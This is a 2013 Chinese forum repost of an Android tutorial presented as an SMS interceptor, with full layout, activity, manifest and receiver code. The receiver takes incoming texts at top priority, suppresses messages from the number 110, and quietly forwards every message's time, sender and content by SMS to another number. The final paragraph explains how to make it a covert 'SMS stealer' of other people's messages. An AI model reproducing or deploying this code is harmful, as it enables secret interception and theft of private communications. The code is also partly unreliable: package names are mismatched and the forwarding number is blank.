【3D技术宅公社】XR数字艺术论坛  XR技术讨论 XR互动电影 定格动画

 找回密码
 立即注册

QQ登录

只需一步,快速开始

调查问卷
论坛即将给大家带来全新的技术服务,面向三围图形学、游戏、动画的全新服务论坛升级为UTF8版本后,中文用户名和用户密码中有中文的都无法登陆,请发邮件到324007255(at)QQ.com联系手动修改密码

3D技术论坛将以计算机图形学为核心,面向教育 推出国内的三维教育引擎该项目在持续研发当中,感谢大家的关注。

查看: 1398|回复: 0

(转)Android开发实例:短信拦截器的代码

[复制链接]
发表于 2013-1-21 17:47:06 | 显示全部楼层 |阅读模式
下面是网友vnplalvyulin 为178折社区写的一个Android短信拦截器代码,在这个拦截器中,一共通过两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。

下面我附上自己做的这个拦截器的代码供大家参考。
main.xml layout
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  3. android:orientation="vertical"
  4. android:layout_width="fill_parent"
  5. android:layout_height="fill_parent"
  6. >
  7. <Button
  8. android:layout_width="fill_parent"
  9. android:layout_height="wrap_content"
  10. android:text="注册拦截"
  11. android:onClick="regiset"
  12. />
  13. <Button
  14. android:layout_width="fill_parent"
  15. android:layout_height="wrap_content"
  16. android:text="解注册拦截"
  17. android:onClick="unregiset"
  18. />
  19. </LinearLayout>
复制代码
首页显示的SmsListenerActivity:
  1. package com.tk178zhe.android.SmsListener;

  2. import android.app.Activity;
  3. import android.content.IntentFilter;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Toast;

  7. public class SmsListenerActivity extends Activity {
  8. private SmsRecevier recevier;
  9. private boolean isregiset = false;
  10. private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";

  11. @Override
  12. public void onCreate(Bundle savedInstanceState) {
  13. super.onCreate(savedInstanceState);
  14. setContentView(R.layout.main);
  15. recevier = new SmsRecevier();
  16. }
  17. public void regiset(View v) {
  18. IntentFilter filter = new IntentFilter(ACTION);
  19. filter.setPriority(1000);//设置优先级最大
  20. registerReceiver(recevier, filter);
  21. isregiset = true;
  22. Toast.makeText(this, "注册成功", 0).show();
  23. }

  24. public void unregiset(View v) {
  25. if (recevier != null && isregiset) {
  26. unregisterReceiver(recevier);
  27. isregiset = false;
  28. Toast.makeText(this, "解注册成功", 0).show();
  29. } else
  30. Toast.makeText(this, "尚未注册", 0).show();
  31. }
  32. @Override
  33. protected void onDestroy() {
  34. super.onDestroy();
  35. if (recevier != null && isregiset) {
  36. unregisterReceiver(recevier);
  37. isregiset = false;
  38. Toast.makeText(this, "解注册成功", 0).show();
  39. }
  40. }
  41. }
复制代码
如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。
AndroidManifest.xml:
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  3. package="com.tk178zhe.android.SmsListener"
  4. android:versionCode="1"
  5. android:versionName="1.0">
  6. <uses-sdk android:minSdkVersion="8" />

  7. <application android:icon="@drawable/icon" android:label="@string/app_name">
  8. <activity android:name=".SmsListenerActivity"
  9. android:label="@string/app_name">
  10. <intent-filter>
  11. <action android:name="android.intent.action.MAIN" />
  12. <category android:name="android.intent.category.LAUNCHER" />
  13. </intent-filter>
  14. </activity>
  15. <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做
  16. <receiver android:name=".SmsRecevier">
  17. <intent-filter android:priority="1000"> 将优先级设到最大
  18. <action android:name="android.provider.Telephony.SMS_RECEIVED" />
  19. </intent-filter>
  20. </receiver>
  21. -->
  22. </application>
  23. <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
  24. <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
  25. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  26. </manifest>
复制代码
SmsRecevier类用作拦截信息。
  1. package com.tk178zhe.android.android;

  2. import java.text.SimpleDateFormat;
  3. import java.util.Date;

  4. import android.content.BroadcastReceiver;
  5. import android.content.Context;
  6. import android.content.Intent;
  7. import android.telephony.SmsManager;
  8. import android.telephony.SmsMessage;
  9. import android.util.Log;

  10. public class SmsRecevier extends BroadcastReceiver {
  11. public SmsRecevier() {
  12. Log.v("TAG", "SmsRecevier create");
  13. }

  14. @Override
  15. public void onReceive(Context context, Intent intent) {
  16. Log.v("TAG", "SmsRecevier onReceive");
  17. Object[] pdus = (Object[]) intent.getExtras().get("pdus");
  18. if (pdus != null && pdus.length > 0) {
  19. SmsMessage[] messages = new SmsMessage[pdus.length];
  20. for (int i = 0; i < pdus.length; i++) {
  21. byte[] pdu = (byte[]) pdus[i];
  22. messages[i] = SmsMessage.createFromPdu(pdu);
  23. }
  24. for (SmsMessage message : messages) {
  25. String content = message.getMessageBody();// 得到短信内容
  26. String sender = message.getOriginatingAddress();// 得到发信息的号码
  27. if (sender.equals("110")) {
  28. abortBroadcast();// 中止发送
  29. Log.e("TAG", "此号码为黑名单号码,已拦截!");
  30. }
  31. Date date = new Date(message.getTimestampMillis());
  32. SimpleDateFormat format = new SimpleDateFormat(
  33. "yyyy-MM-dd HH:mm:ss");
  34. String sendContent = format.format(date) + ":" + sender + "--"
  35. + content;
  36. SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
  37. smsManager.sendTextMessage("", null, sendContent, null,
  38. null);// 转发给
  39. Log.v("TAG", sendContent);
  40. }
  41. }
  42. }
  43. }
复制代码
这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|3D数字艺术论坛 ( 沪ICP备14023054号 )

GMT+8, 2024-9-30 06:54

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表